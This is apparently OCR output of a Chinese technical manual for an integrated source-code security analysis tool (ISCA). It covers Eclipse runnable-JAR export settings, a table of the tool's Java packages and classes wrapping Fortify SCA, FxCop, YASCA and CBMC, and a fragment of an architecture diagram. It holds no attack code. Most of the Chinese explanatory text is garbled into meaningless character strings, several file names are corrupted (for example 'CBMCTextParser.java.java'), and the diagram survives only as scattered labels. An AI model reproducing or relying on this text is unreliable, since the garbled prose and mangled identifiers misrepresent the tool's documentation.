TR A4 & :»mJava*imlféf; P TR K T H R o

ab.%— ! 2ki% File — Export... °

-)5,%: D BLiE Java — Runnable JAR file » 7T next o

HBRZ KT BRI “fj;'] 21§ 4% > Library handling i 78 £ #% “Extract
required I|brar|es into generated JAR” » € 2L 70 3 € _eh?h 3R 5038
- #HFre > &7 Finish > rire = =

W e DRdT o FnJARK & & & VISCA jar” 47 L 3] ISCAPackage B & -

(= Runnable JAR File Export [E=EE)

Runnable JAR File Specification

1, WM arguments will not be part of the runnable JAR. Arguments can be passed on the
command line when launching the JAR

Launch configuration:

IntegratedAnalysis - IntegratedAnalysis v]

Export destination:

ChUsershaaronDesktop\ISCA_20101218 jar -

Library handling:

(@) Extract required libraries into generated JAR

() Package required libraries into generated JAR

() Copy required libraries into a sub-folder next to the generated JAR

[[] Save as ANT script

Mext = Finish l ’ Cancel
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5.4 Integrated Source Code Analysis Tool — source code package hierarchy

ISCA Package i P 4% : mil.csistisca > H 8 £ IB P 40T £ o
Package e ZRhE L
i P 4] IntegratedAnalysis.java ISCA & %i& » gL »
main = ;& #7 f L o
actions AnalysisGroupPropertyAction.java | & 78 #-4& ¥ 1 a2 5F
EnvSettingAction.java w (Event  handler
HelpAction.java classes) -
ISCAAboutAction.java
LoadProjectConfAction.java
NewAction.java
SavelSCAReportAction.java
SaveProjectConfAction.java
ScanAction.java
env AccuracyXMLParser.java DBk 24P B3 ) o
EnvXMLModification.java ¢ 7 RS AR
EnvXMLParser.java P~ B %@iz\ e
B a
fortify.parser | CBMCTextParser.java.java LA e ey )
FortifyXMLParseErrorHandler.java %fr #pw) o Fortify SCA,
FortifyXMLParser.java FxCop i * XML -~
FxCopXMLParser.java YASCA i #
YASCA_ HTMLParser.java HTML ~ CBMC ¢ *
Text parse °
metadata [Tez » £ 21 5] ISCA P 38 5 H B4
i ﬁ_/,f@ o
model PersistentDocument.java JFace  SourceViewer
(CERINE S| AT
‘k‘F‘ \gj o
project CreateProjectConf.java ISCA & %% T 9
ISCAProject.java g2 |SCA % e
e
report ISCAReportHTML .java HTML 2 & 3F

VulnReportContentProvider.java
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VulnReportLabelProvider.java

A= -

scan ReportRender.java ISCA & Blin 424541 o
Scan.java
ScanController.java
ScanStatus.java

scan.tool CBMCScanOperation.java i

FortifySCAScanOperation.java
FxCopScanOperation.java
NativeExeclInterface.java
YASCAScanOperation.java

sourceviewer

SourceViewerContent.java
SourceViewerManager.java

E EL JFace
SourceViewer B Ex#ic

B2 TS -

ui UIMainWindow.java ISCAGUI 2L & & -
ui.window EnvSettingWindow.java ISCA E v 3i# 4o
ProjectCreationWindow.java Bp | o
ProjectPropertyWindow.java
ScanProgressWindow.java
util ExtFileFilter.java FileNameFilter > 3
YASCAScanOperation
;j{;.“tg] Bk o
wrapper BooleanWrapper.java Boolean 7| i & % #

5| o
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5.5 Integrated Source Code Analysis Tool — # {7 /42

—>  Method call
----- >  Thread interrupt
—>  Copy

IntegratedAnalysis.java

ISCA

) 8 A IRIREETE (setting/environment.xml)
Project

& A EIEERE (setting/accuracy_list.xml)

ScanProgressWindow.java

IMainWi .
b FortifySCAScanOperation.java

) CBMCScanQperation.java

Original
Reports

VulnTree

Render
Reports
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